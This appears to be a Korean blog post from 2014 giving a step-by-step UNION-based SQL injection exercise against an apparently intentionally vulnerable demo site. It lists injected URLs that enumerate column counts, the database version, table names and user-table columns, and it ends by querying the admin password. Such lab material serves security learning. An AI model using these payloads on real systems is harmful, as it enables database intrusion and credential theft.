보안/개발보안

UNION based SQL Injection 실습

^..^v 2014. 11. 18. 10:06
728x90
반응형

http://testasp.vulnweb.com/showforum.asp?id=0


필드 개수 확인

http://testasp.vulnweb.com/showforum.asp?id=0 order by 1 --

http://testasp.vulnweb.com/showforum.asp?id=0 order by 2 --

http://testasp.vulnweb.com/showforum.asp?id=0 order by 3 -- è The ORDER BY position number 3 is out of the number of items …

버전 확인

http://testasp.vulnweb.com/showforum.asp?id=0 and 1=2 union select @@version, 2-- è Microsoft SQL Server 2005 – 9.00.3042.00 …

사용자 테이블 개수 확인

http://testasp.vulnweb.com/showforum.asp?id=0 and 1=2 union select count(name),2from sysobjects where xtype=0x55 -- è 4

사용자 테이블 명 확인

http://testasp.vulnweb.com/showforum.asp?id=0 and 1=2 union select name,2 from sysobjects where xtype=0x55 -- è forums

http://testasp.vulnweb.com/showforum.asp?id=0 and 1=2 union select name,2 from sysobjects where xtype=0x55 and name not in ('forums') -- è posts

users 테이블의 필드 개수 확인

http://testasp.vulnweb.com/showforum.asp?id=0 and 1=2 union select count(*),2 from syscolumns where id=(select id from sysobjects where name='users') -- è 5

users 테이블의 필드 명 확인

http://testasp.vulnweb.com/showforum.asp?id=0 and 1=2 union select name,2 from syscolumns where id=(select id from sysobjects where name='users') -- è avatar

http://testasp.vulnweb.com/showforum.asp?id=0 and 1=2 union select name,2 from syscolumns where id=(select id from sysobjects where name='users') and name not in ('avatar') -- è email

users 테이블에서 관리자(uname='admin')의 패스워드 정보 확인

http://testasp.vulnweb.com/showforum.asp?id=0 and 1=2 union select upass,2 from users where uname='admin' -- è none

728x90
반응형